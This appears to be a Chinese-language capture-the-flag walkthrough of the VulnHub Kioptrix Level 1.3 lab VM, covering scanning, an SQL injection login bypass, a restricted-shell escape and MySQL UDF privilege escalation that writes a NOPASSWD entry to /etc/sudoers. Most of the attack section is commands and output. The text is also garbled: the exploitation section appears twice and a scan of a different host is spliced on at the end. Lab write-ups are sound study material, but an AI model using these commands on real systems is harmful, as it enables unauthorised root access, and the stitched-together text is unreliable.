但點john.php後又回到登入畫面,所以先嘗試對登入頁面的帳密用SQL injection攻擊。
嘗試一下後,發現如果密碼輸入單引號,會出現如下的sql錯誤:
**Warning**: mysql_num_rows(): supplied argument is not a valid MySQL result resource in **/var/www/checklogin.php** on line **28**
而不只是出現Wrong Username or Password,代表密碼欄位存在SQL injection攻擊漏洞,不過帳號欄位打單引號只會Wrong Username or Password。
帳號用john
,密碼則是用 ' or 1=1 #
,登入畫面如下:
既然給出了帳號跟明顯是明文的密碼,就直接SSH登入看看吧。
$ ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.44.132
The authenticity of host '192.168.44.132 (192.168.44.132)' can't be established.
DSA key fingerprint is SHA256:l2Z9xv+mXqcandVHZntyNeV1loP8XoFca+R/2VbroAw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.132' (DSA) to the list of known hosts.
john@192.168.44.132's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
如果輸入help指令,可以發現只能使用一些指令:
john:~$ help
cd clear echo exit help ll lpath ls
所以需要讓這個帳號可以用多一點指令,可以參考以下這一篇:
How to Escape Restricted Shell Environments on Linux « Null Byte :: WonderHowTo
總之,因為可以用echo,所以我們使用如下指令使得可以使用大部分指令:
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$
提權思路: 1.更改相關文件(\etc\passwd
、\etc\sudoer
)2.利用現有攻擊腳本3. MySQL提權
如何知道這是MySQL? 剛剛在試SQL injection時,錯誤訊息就已經提示了是MySQL。
不過想利用MySQL提權,首先得知道資料庫帳號密碼。 linux目錄下有個目錄:/var/www/html
,把文件放到這個目錄下就可以通過IP很方便的訪問,所以之前懷疑的john.php
可能會在裡面。那麼,總之先切換目錄:
john@Kioptrix4:~$ pwd
/home/john
john@Kioptrix4:~$ cd ..
john@Kioptrix4:/home$ cd ..
john@Kioptrix4:/$ pwd
/
john@Kioptrix4:/$ cd /var/www
john@Kioptrix4:/var/www$ ls
checklogin.php database.sql images index.php john login_success.php logout.php member.php robert
john@Kioptrix4:/var/www$ cd john/
john@Kioptrix4:/var/www/john$ ls
john.php
john@Kioptrix4:/var/www/john$ cat john.php
<?php
session_start();
if(!session_is_registered(myusername)){
header("location:../index.php");
}else{
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='".$_SESSION['myusername']."'");
// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count!=0){
$row = mysql_fetch_array($result);
}
else {
echo "Something went wrong";
}
ob_end_flush();
?>
<html><body>
<table width="500" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr>
<td align="center" colspan="3"><strong>Member's Control Panel </strong></td>
</tr>
<tr>
<td width="30">Username</td>
<td width="6">:</td>
<td width="464"><?php print ($row[1]);?></td>
</tr>
<tr>
<td width="30">Password</td>
<td width="6">:</td>
<td width="464"><?php print($row[2]);?></td>
</tr>
<tr>
<td>
<form method="link" action="logout.php">
<input type=submit value="Logout">
</form>
</td>
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</body></html>
<?php
}
?>
在實際查看了john.php後,可以發現下面兩行:
$username="root"; // Mysql username
$password=""; // Mysql password
這代表root這個user的密碼根本是空的,所以直接用root登入,密碼不用打:
john@Kioptrix4:/var/www/john$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
先看看MySQL版本:
mysql> \s
--------------
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
Connection id: 8
Current database:
Current user: root@localhost
SSL: Not in use
Current pager: stdout
Using outfile: ''
Using delimiter: ;
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Protocol version: 10
Connection: Localhost via UNIX socket
Server characterset: latin1
Db characterset: latin1
Client characterset: latin1
Conn. characterset: latin1
UNIX socket: /var/run/mysqld/mysqld.sock
Uptime: 1 hour 22 min 27 sec
Threads: 1 Questions: 38 Slow queries: 0 Opens: 24 Flush tables: 1 Open tables: 18 Queries per second avg: 0.008
--------------
看來是5.0.51a-3ubuntu5.4
。
有關資料庫提權,可以看這兩篇:
MySQL提权的三种方法 - FreeBuf网络安全行业门户
【数据库提权系列】---【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户
簡單來說,linux的mysql資料庫可以用sys_eval
或sys_exec
拿來執行系統指令,但要先連結到UDF库文件(sqlmap-master\data\udf\mysql\linux\64
下的lib_mysqludf_sys.so_
文件)。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| members |
| mysql |
+--------------------+
3 rows in set (0.00 sec)
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.00 sec)
mysql> select sys_eval("whoami");
ERROR 1305 (42000): FUNCTION mysql.sys_eval does not exist
mysql> SELECT sys_exec('touch /tmp/test_mysql');
+-----------------------------------+
| sys_exec('touch /tmp/test_mysql') |
+-----------------------------------+
| NULL |
+-----------------------------------+
不過從select * from func;
這條指令的結果,可以知道已經導入lib_mysqludf_sys.so
,所以不需要導入so檔,直接支援sys_exec
指令。
為了測試剛剛下的sys_exec
指令是否有確實運作,我們實際到tmp資料夾,看看是不是真的有創建文件:
mysql> quit
Bye
john@Kioptrix4:~$ cd /tmp
john@Kioptrix4:/tmp$ ls -l
total 0
-rw-rw---- 1 root root 0 2022-10-29 04:53 test_mysql
可以發現創建出來的文件是root權限 。所以可以利用這樣的函式去更動/etc/sudoers文件,創建一個root使用者robert,或是將john帳號添加權限
創建一個root使用者robert:
select sys_exec('echo "robert ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers');
將john帳號添加權限:
select sys_exec('usermod -a -G admin john');
這裡以第二種方式舉例:
john@Kioptrix4:/tmp$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use mysql;
No connection. Trying to reconnect...
Connection id: 1
Current database: *** NONE ***
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select sys_exec('usermod -a -G admin john');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL |
+--------------------------------------+
1 row in set (0.05 sec)
再新開一個cmd測試:
$ ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.44.132
john@192.168.44.132's password:
Permission denied, please try again.
john@192.168.44.132's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
john@Kioptrix4:~$ sudo su
[sudo] password for john:
root@Kioptrix4:/home/john#
找flag:
root@Kioptrix4:~# locate root
/root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/rcS.d/S20checkroot.sh
/lib/security/pam_rootok.so
/root/.bash_history
/root/.bashrc
/root/.lhistory
/root/.mysql_history
/root/.nano_history
/root/.profile
/root/.ssh
/root/congrats.txt
/root/lshell-0.9.12
/root/.ssh/known_hosts
/root/lshell-0.9.12/CHANGES
/root/lshell-0.9.12/COPYING
/root/lshell-0.9.12/MANIFEST.in
/root/lshell-0.9.12/PKG-INFO
/root/lshell-0.9.12/README
/root/lshell-0.9.12/bin
/root/lshell-0.9.12/build
/root/lshell-0.9.12/etc
/root/lshell-0.9.12/lshell.spec
/root/lshell-0.9.12/lshellmodule
/root/lshell-0.9.12/man
/root/lshell-0.9.12/setup.py
/root/lshell-0.9.12/test
/root/lshell-0.9.12/bin/lshell
/root/lshell-0.9.12/build/lib
/root/lshell-0.9.12/build/scripts-2.5
/root/lshell-0.9.12/build/lib/lshell.py
/root/lshell-0.9.12/build/scripts-2.5/lshell
/root/lshell-0.9.12/etc/logrotate.d
/root/lshell-0.9.12/etc/lshell.conf
/root/lshell-0.9.12/etc/logrotate.d/lshell
/root/lshell-0.9.12/lshellmodule/lshell.py
/root/lshell-0.9.12/man/lshell.1
/root/lshell-0.9.12/test/test_lshell.py
/sbin/pivot_root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/sbin/chroot
/usr/sbin/rootflags
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/mysql/mysql-test/include/not_as_root.inc
/usr/share/mysql/mysql-test/r/not_as_root.require
/usr/share/recovery-mode/options/root
/var/log/fsck/checkroot
flag的路徑是: /root/congrats.txt
。
MySQL提权的三种方法 - FreeBuf网络安全行业门户
【数据库提权系列】---【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户
https://lonelysec.com/vulnhub-x-kioptrix-level-1-3-4/
[資訊安全] VulnHub – Kioptrix Level 1.3 (#4) Write-up - MkS
Bernardo Dag: Command execution with a MySQL UDF
vulnhub-serial靶机缺.vmx文件解决方法_zonei123的博客-CSDN博客
How to Escape Restricted Shell Environments on Linux « Null Byte :: WonderHowTo
首先,下載下來的靶機缺vmx檔,無法用vmware開啟,乾脆用KIOPTRIX:LEVEL 1.2 (#3)的vmx檔改一改。在解壓縮後的目錄裡,新增Kioptrix4_vmware.vmx
,內容如下:
.encoding = "windows-1252"
config.version = "8"
virtualHW.version = "4"
memsize = "512"
MemAllowAutoScaleDown = "FALSE"
displayName = "KioptrixVM3"
guestOS = "other"
ethernet0.addressType = "generated"
ethernet0.connectionType = "nat"
ide0:0.present = "TRUE"
ide0:0.fileName = "Kioptrix4_vmware.vmdk"
ide1:0.present = "TRUE"
ide1:0.autodetect = "TRUE"
ide1:0.filename = "auto detect"
ide1:0.deviceType = "cdrom-raw"
virtualHW.productCompatibility = "hosted"
numa.autosize.cookie = "10001"
numa.autosize.vcpu.maxPerVirtualNode = "1"
uuid.bios = "56 4d ae 69 93 19 55 ff-ec f1 b6 26 b7 b4 17 66"
uuid.location = "56 4d ae 69 93 19 55 ff-ec f1 b6 26 b7 b4 17 66"
ide0:0.redo = ""
svga.vramSize = "134217728"
vmotion.checkpointFBSize = "134217728"
ethernet0.generatedAddressOffset = "0"
monitor.phys_bits_used = "36"
cleanShutdown = "TRUE"
softPowerOff = "FALSE"
tools.syncTime = "FALSE"
ethernet0.present = "TRUE"
ethernet0.generatedAddress = "00:0c:29:b4:17:66"
toolsInstallManager.updateCounter = "1"
checkpoint.vmState = ""
extendedConfigFile = "Kioptrix4_vmware.vmxf"
掃描開啟port:
$ nmap -A -T4 192.168.44.132
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-24 21:03 CST
Nmap scan report for 192.168.44.132
Host is up (0.00058s latency).
Not shown: 566 closed tcp ports (conn-refused), 430 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 9h59m59s, deviation: 2h49m42s, median: 7h59m59s
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2022-10-24T17:03:39-04:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.87 seconds
Segmentation fault
$ nikto -host 192.168.44.132
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.132
+ Target Hostname: 192.168.44.132
+ Target Port: 80
+ Start Time: 2022-10-24 21:09:33 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /images/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 98933, size: 5108, mtime: Tue Aug 28 18:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie PHPSESSID created without the httponly flag
+ 8724 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2022-10-24 21:09:45 (GMT8) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
看到是80 port,就先登進網頁。
接下來爆破目錄,用dirb。
$ dirb http://192.168.44.132
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Oct 24 21:46:15 2022
URL_BASE: http://192.168.44.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.44.132/ ----
+ http://192.168.44.132/cgi-bin/ (CODE:403|SIZE:329)
==> DIRECTORY: http://192.168.44.132/images/
+ http://192.168.44.132/index (CODE:200|SIZE:1255)
+ http://192.168.44.132/index.php (CODE:200|SIZE:1255)
==> DIRECTORY: http://192.168.44.132/john/
+ http://192.168.44.132/logout (CODE:302|SIZE:0)
+ http://192.168.44.132/member (CODE:302|SIZE:220)
+ http://192.168.44.132/server-status (CODE:403|SIZE:334)
---- Entering directory: http://192.168.44.132/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.44.132/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
可以發現有一個john,實際連進去後:
但點john.php後又回到登入畫面,所以先嘗試對登入頁面的帳密用SQL injection攻擊。
嘗試一下後,發現如果密碼輸入單引號,會出現如下的sql錯誤:
**Warning**: mysql_num_rows(): supplied argument is not a valid MySQL result resource in **/var/www/checklogin.php** on line **28**
而不只是出現Wrong Username or Password,代表密碼欄位存在SQL injection攻擊漏洞,不過帳號欄位打單引號只會Wrong Username or Password。
帳號用john
,密碼則是用 ' or 1=1 #
,登入畫面如下:
既然給出了帳號跟明顯是明文的密碼,就直接SSH登入看看吧。
$ ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.44.132
The authenticity of host '192.168.44.132 (192.168.44.132)' can't be established.
DSA key fingerprint is SHA256:l2Z9xv+mXqcandVHZntyNeV1loP8XoFca+R/2VbroAw.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.132' (DSA) to the list of known hosts.
john@192.168.44.132's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
如果輸入help指令,可以發現只能使用一些指令:
john:~$ help
cd clear echo exit help ll lpath ls
所以需要讓這個帳號可以用多一點指令,可以參考以下這一篇:
How to Escape Restricted Shell Environments on Linux « Null Byte :: WonderHowTo
總之,因為可以用echo,所以我們使用如下指令使得可以使用大部分指令:
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$
提權思路: 1.更改相關文件(\etc\passwd
、\etc\sudoer
)2.利用現有攻擊腳本3. MySQL提權
如何知道這是MySQL? 剛剛在試SQL injection時,錯誤訊息就已經提示了是MySQL。
不過想利用MySQL提權,首先得知道資料庫帳號密碼。 linux目錄下有個目錄:/var/www/html
,把文件放到這個目錄下就可以通過IP很方便的訪問,所以之前懷疑的john.php
可能會在裡面。那麼,總之先切換目錄:
john@Kioptrix4:~$ pwd
/home/john
john@Kioptrix4:~$ cd ..
john@Kioptrix4:/home$ cd ..
john@Kioptrix4:/$ pwd
/
john@Kioptrix4:/$ cd /var/www
john@Kioptrix4:/var/www$ ls
checklogin.php database.sql images index.php john login_success.php logout.php member.php robert
john@Kioptrix4:/var/www$ cd john/
john@Kioptrix4:/var/www/john$ ls
john.php
john@Kioptrix4:/var/www/john$ cat john.php
<?php
session_start();
if(!session_is_registered(myusername)){
header("location:../index.php");
}else{
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name
// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='".$_SESSION['myusername']."'");
// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row
if($count!=0){
$row = mysql_fetch_array($result);
}
else {
echo "Something went wrong";
}
ob_end_flush();
?>
<html><body>
<table width="500" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
<tr>
<td align="center" colspan="3"><strong>Member's Control Panel </strong></td>
</tr>
<tr>
<td width="30">Username</td>
<td width="6">:</td>
<td width="464"><?php print ($row[1]);?></td>
</tr>
<tr>
<td width="30">Password</td>
<td width="6">:</td>
<td width="464"><?php print($row[2]);?></td>
</tr>
<tr>
<td>
<form method="link" action="logout.php">
<input type=submit value="Logout">
</form>
</td>
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</body></html>
<?php
}
?>
在實際查看了john.php後,可以發現下面兩行:
$username="root"; // Mysql username
$password=""; // Mysql password
這代表root這個user的密碼根本是空的,所以直接用root登入,密碼不用打:
john@Kioptrix4:/var/www/john$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql>
先看看MySQL版本:
mysql> \s
--------------
mysql Ver 14.12 Distrib 5.0.51a, for debian-linux-gnu (i486) using readline 5.2
Connection id: 8
Current database:
Current user: root@localhost
SSL: Not in use
Current pager: stdout
Using outfile: ''
Using delimiter: ;
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Protocol version: 10
Connection: Localhost via UNIX socket
Server characterset: latin1
Db characterset: latin1
Client characterset: latin1
Conn. characterset: latin1
UNIX socket: /var/run/mysqld/mysqld.sock
Uptime: 1 hour 22 min 27 sec
Threads: 1 Questions: 38 Slow queries: 0 Opens: 24 Flush tables: 1 Open tables: 18 Queries per second avg: 0.008
--------------
看來是5.0.51a-3ubuntu5.4
。
有關資料庫提權,可以看這兩篇:
MySQL提权的三种方法 - FreeBuf网络安全行业门户
【数据库提权系列】---【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户
簡單來說,linux的mysql資料庫可以用sys_eval
或sys_exec
拿來執行系統指令,但要先連結到UDF库文件(sqlmap-master\data\udf\mysql\linux\64
下的lib_mysqludf_sys.so_
文件)。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| members |
| mysql |
+--------------------+
3 rows in set (0.00 sec)
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.00 sec)
mysql> select sys_eval("whoami");
ERROR 1305 (42000): FUNCTION mysql.sys_eval does not exist
mysql> SELECT sys_exec('touch /tmp/test_mysql');
+-----------------------------------+
| sys_exec('touch /tmp/test_mysql') |
+-----------------------------------+
| NULL |
+-----------------------------------+
不過從select * from func;
這條指令的結果,可以知道已經導入lib_mysqludf_sys.so
,所以不需要導入so檔,直接支援sys_exec
指令。
為了測試剛剛下的sys_exec
指令是否有確實運作,我們實際到tmp資料夾,看看是不是真的有創建文件:
mysql> quit
Bye
john@Kioptrix4:~$ cd /tmp
john@Kioptrix4:/tmp$ ls -l
total 0
-rw-rw---- 1 root root 0 2022-10-29 04:53 test_mysql
可以發現創建出來的文件是root權限 。所以可以利用這樣的函式去更動/etc/sudoers文件,創建一個root使用者robert,或是將john帳號添加權限
創建一個root使用者robert:
select sys_exec('echo "robert ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers');
將john帳號添加權限:
select sys_exec('usermod -a -G admin john');
這裡以第二種方式舉例:
john@Kioptrix4:/tmp$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 12
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use mysql;
No connection. Trying to reconnect...
Connection id: 1
Current database: *** NONE ***
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select sys_exec('usermod -a -G admin john');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 1
Current database: mysql
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL |
+--------------------------------------+
1 row in set (0.05 sec)
再新開一個cmd測試:
$ ssh -oHostKeyAlgorithms=+ssh-dss john@192.168.44.132
john@192.168.44.132's password:
Permission denied, please try again.
john@192.168.44.132's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ echo os.system('/bin/bash')
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
john@Kioptrix4:~$ sudo su
[sudo] password for john:
root@Kioptrix4:/home/john#
找flag:
root@Kioptrix4:~# locate root
/root
/etc/init.d/checkroot.sh
/etc/init.d/umountroot
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/rcS.d/S20checkroot.sh
/lib/security/pam_rootok.so
/root/.bash_history
/root/.bashrc
/root/.lhistory
/root/.mysql_history
/root/.nano_history
/root/.profile
/root/.ssh
/root/congrats.txt
/root/lshell-0.9.12
/root/.ssh/known_hosts
/root/lshell-0.9.12/CHANGES
/root/lshell-0.9.12/COPYING
/root/lshell-0.9.12/MANIFEST.in
/root/lshell-0.9.12/PKG-INFO
/root/lshell-0.9.12/README
/root/lshell-0.9.12/bin
/root/lshell-0.9.12/build
/root/lshell-0.9.12/etc
/root/lshell-0.9.12/lshell.spec
/root/lshell-0.9.12/lshellmodule
/root/lshell-0.9.12/man
/root/lshell-0.9.12/setup.py
/root/lshell-0.9.12/test
/root/lshell-0.9.12/bin/lshell
/root/lshell-0.9.12/build/lib
/root/lshell-0.9.12/build/scripts-2.5
/root/lshell-0.9.12/build/lib/lshell.py
/root/lshell-0.9.12/build/scripts-2.5/lshell
/root/lshell-0.9.12/etc/logrotate.d
/root/lshell-0.9.12/etc/lshell.conf
/root/lshell-0.9.12/etc/logrotate.d/lshell
/root/lshell-0.9.12/lshellmodule/lshell.py
/root/lshell-0.9.12/man/lshell.1
/root/lshell-0.9.12/test/test_lshell.py
/sbin/pivot_root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/sbin/chroot
/usr/sbin/rootflags
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/mysql/mysql-test/include/not_as_root.inc
/usr/share/mysql/mysql-test/r/not_as_root.require
/usr/share/recovery-mode/options/root
/var/log/fsck/checkroot
flag的路徑是: /root/congrats.txt
。
MySQL提权的三种方法 - FreeBuf网络安全行业门户
【数据库提权系列】---【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户
https://lonelysec.com/vulnhub-x-kioptrix-level-1-3-4/
[資訊安全] VulnHub – Kioptrix Level 1.3 (#4) Write-up - MkS
Bernardo Dag: Command execution with a MySQL UDF
vulnhub-serial靶机缺.vmx文件解决方法_zonei123的博客-CSDN博客
How to Escape Restricted Shell Environments on Linux « Null Byte :: WonderHowTo
$ nmap -sP 192.168.44.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:00 CST
Nmap scan report for 192.168.44.131
Host is up (0.0016s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 36.25 seconds
$ nmap -A 192.168.44.131
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-14 09:03 CST
Nmap scan report for 192.168.44.131
Host is up (0.90s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.85 seconds
Segmentation fault
$ nikto -h 192.168.44.131
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.131
+ Target Hostname: 192.168.44.131
+ Target Port: 80
+ Start Time: 2022-10-14 09:05:54 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
